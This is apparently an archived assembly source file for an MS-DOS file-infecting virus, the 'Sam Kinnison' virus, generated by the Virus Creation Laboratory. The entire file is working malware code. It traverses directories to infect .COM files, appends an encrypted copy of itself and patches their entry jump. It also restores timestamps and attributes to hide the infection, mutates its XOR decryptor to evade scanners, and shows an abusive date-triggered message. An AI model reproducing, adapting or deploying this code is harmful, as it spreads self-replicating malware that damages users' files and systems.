MalwareSourceCode/MSDOS/V-Index/Virus.MSDOS.Unknown.vcl_kinn.asm

338 lines
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NASM
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2022-08-21 09:07:57 +00:00
; KINNISON.ASM -- Sam Kinnison virus
; Created by Nowhere Man's Virus Creation Labratory v0.75
; Written by Nowhere Man
virus_type equ 0
code segment 'CODE'
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
flag: mov ah,0
nop
nop
jmp start ;Would be at start of victim
nop
nop
start: call find_offset ; Push IP on to stack, advance IP
find_offset:pop di ; DI holds old IP
sub di,3 ; Adjust for length of CALL
lea si,[di + start_of_code - start] ; SI points to code
call encrypt_decrypt ; Decrypt the code
start_of_code label near
push di ; Save DI
mov si,offset flag ; SI points to flag bytes
lea di,[di + new_jump - start] ;DI points 2 start of jmp
movsw ; Transfer two bytes
movsw ; Transfer two bytes
pop di ; Restore DI
push di ; And save it for later
lea si,[di + buffer - start]; SI points to old start
mov di,0100h ; DI points to start of code
movsw ; Transfer two bytes
movsw ; Transfer two bytes
movsw ; Transfer two bytes
movsb ; Transfer final byte
pop di ; Restore DI
mov bp,sp ; BP points to stack
sub sp,128 ;Allocate 128 bytes on stack
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ;Save old DTA address on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ;DX points to buffer on stack
int 021h
call get_day
cmp ax,000Bh
jne end00
call get_weekday
cmp ax,0005h
jne end00
mov cx,0003h
call beep
end00: xor ah,ah ; BIOS get time function
int 01Ah
test dx,0001h
jne no_infection
call search_files
no_infection:
call get_day
cmp ax,000Bh
jne end01
call get_weekday
cmp ax,0005h
jne end01
lea si,[di + data00 - start] ; SI points to data
call display_string
end01: pop dx ; DX holds original DTA address
mov ah,01Ah ; DOS set DTA function
int 021h
mov sp,bp ; Deallocate local buffer
mov di,0100h ; Push 0100h on to stack for
push di ; return to main program
xor ax,ax ;
mov bx,ax ;
mov cx,ax ;
mov dx,ax ; Empty out the registers
mov si,ax ;
mov di,ax ;
mov bp,ax ;
ret ; Return to original program
main endp
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,64 ; Allocate 64 bytes on stack
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 64] ;SI points to 64-byte buffer
int 021h
mov ah,03Bh ; DOS change directory function
lea dx,[di + root - start] ;DX points to root directory
int 021h
call traverse ; Start the traversal
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 64] ; DX points to old directory
int 021h
mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
root db "\",0 ; Root directory
search_files endp
traverse proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ;Allocate 128 bytes on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first function
mov cx,00010000b ; CX holds search attributes
mov dx,offset all_files ; DX points to "*.*"
int 021h
jc leave_traverse ; Leave if no files present
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
jne another_dir ; If not, try again
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
je another_dir ;If so, keep going
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 98] ; DX points to new directory
int 021h
call traverse ; Recursively call ourself
mov ah,03Bh ; DOS change directory function
lea dx,[di + up_dir - start]; DX points to parent dir
int 021h
another_dir:
mov ah,04Fh ; DOS find next function
int 021h
jnc check_dir ; If found check the file
leave_traverse:
lea dx,[di + com_mask - start] ; DX points to "*.COM"
call find_files ; Try to infect a file
done_searching:
mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
up_dir db "..",0 ; Parent directory name
all_files db "*.*",0 ; Directories to search for
com_mask db "*.COM",0 ; Mask for all .COM files
traverse endp
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ;Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file:
int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ;DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding:
mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA
mov ax,04301h ; DOS set file attributes function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function,r/w
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ;DOS read from file function
mov cx,7 ; CX holds bytes to read (7)
lea dx,[di + buffer - start]; DX points to buffer
int 021h
push si ;Save DTA address before compare
mov byte ptr [di + set_carry - start],0 ;Assume we'll fail
lea si,[di + buffer - start]; SI points to comparison
push di ; Save virus offset
lea di,[di + new_jump - start] ; DI points to virus flg
mov cx,4 ; CX holds number of bytes
rep cmpsb ; Compare the first
pop di ; Restore DI
je close_it_up ; If equal then close up
mov byte ptr [di + set_carry - start],1 ; Success --
cwd ; Zero CX _ Zero bytes from
mov cx,dx ; Zero DX /
mov ax,04200h ; DOS file seek function,
int 021h
mov ax,04202h ; DOS file seek function,EOF
cwd ; Zero DX _ Zero bytes from
mov cx,dx ; Zero CX /
int 021h
sub ax,7 ; Prepare for JMP
mov word ptr [di + new_jump + 5 - start],ax ; Construct
call encrypt_code ; Make an encrypted copy of
mov ah,040h ; DOS write to file function
mov cx,finish - start ; CX holds virus length
lea dx,[di + finish - start] ;DX points to encrypted copy
int 021h
cwd ; Zero DX _ Zero bytes from
mov cx,dx ; Zero CX /
mov ax,04200h ; DOS file seek function,
int 021h
mov ah,040h ; DOS write to file function
mov cx,7 ; CX holds bytes to write (7
lea dx,[di + new_jump - start] ; DX points to the jump
int 021h
close_it_up:
pop si ; Restore DTA address
mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attributes fu
xor ch,ch ; Clear CH for file attribut
mov cl,[si + 015h] ; CX holds file's old attrib
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
infection_done: cmp byte ptr [di + set_carry - start],1 ; Set carry
ret ; Return to caller
set_carry db ? ; Set-carry-on-exit flag
buffer db 5 dup (090h),0CDh,020h ; Buffer to hold test
new_jump db 4 dup (?),0E9h,?,? ; New jump to virus
infect_file endp
beep proc near
jcxz beep_end ; Exit if there are no
mov ax,0E07h ; BIOS display char.BELL
beep_loop: int 010h ; Beep
loop beep_loop ; Beep until --CX = 0
beep_end: ret ; Return to caller
beep endp
display_string proc near
mov ah,0Eh ; BIOS display char. fun
display_loop: lodsb ; Load the next char. in
or al,al ; Is the character a nul
je disp_strnend ; If it is, exit
int 010h ; BIOS video interrupt
jmp short display_loop ; Do the next character
disp_strnend: ret ; Return to caller
display_string endp
get_day proc near
mov ah,02Ah ; DOS get date function
int 021h
mov al,dl ; Copy day into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_day endp
get_weekday proc near
mov ah,02Ah ; DOS get date function
int 021h
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_weekday endp
data00 db "DIE BITCH!!!!! AHHHHHHHH!!!!!!!",13,10,0
vcl_marker db "[VCL]",0 ; VCL creation
note db "Dedicated to the memory of"
db " Sam Kinnison 1954-1992",0
db "[Kinnison]",0
db "Nowhere Man, [NuKE] '92",0
encrypt_code proc near
push bx ; Save BX
push di ; Save DI
lea si,[di + encrypt_decrypt - start] ; SI points
xor ah,ah ; BIOS get time function
int 01Ah
or dx,1 ; Insure we never get 0
mov word ptr [si + 5],dx ; Low word of timer is n
alter_flag: mov al,0 ; AL holds alteration fl
inc byte ptr [di + (alter_flag + 1) - start] ; Togg
test al,1 ; Is bit one set?
jne check_nop ; If not then don't togg
xor byte ptr [si],0110b ; Change all BPs in star
xor byte ptr [si + 4],010b ; to BXs, and vice-versa
xor byte ptr [si + 7],0110b ;
check_nop: test al,2 ; Is bit two set?
jne do_encryption ; If not then don't togg
mov ax,word ptr [si + 7] ; AX holds INC/NOP
xchg ah,al ; Exchange position of I
mov word ptr [si + 7],ax ; Put the word back
do_encryption: mov si,di ; SI points to start of
lea di,[di + finish - start] ; DI points past
mov cx,(finish - start) / 2 ; CX holds words to tran
rep movsw ; Copy the code
pop di ; Restore DI
lea si,[di + (finish + (start_of_code - start)) - start]
; SI points to code to encrypt
call encrypt_decrypt ; Encrypt the code
pop bx ; Restore BX
ret ; Return to caller
encrypt_code endp
even ; Must be on an even bou
end_of_code label near
encrypt_decrypt proc near
mov bp,end_of_code - start_of_code - 2 ; BP holds
xor_loop: db 081h,032h,00h,00h ; XOR a word with the ke
dec bp ; Do the next byte
nop ; Used to throw off dete
jne xor_loop ; Repeat until we're don
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main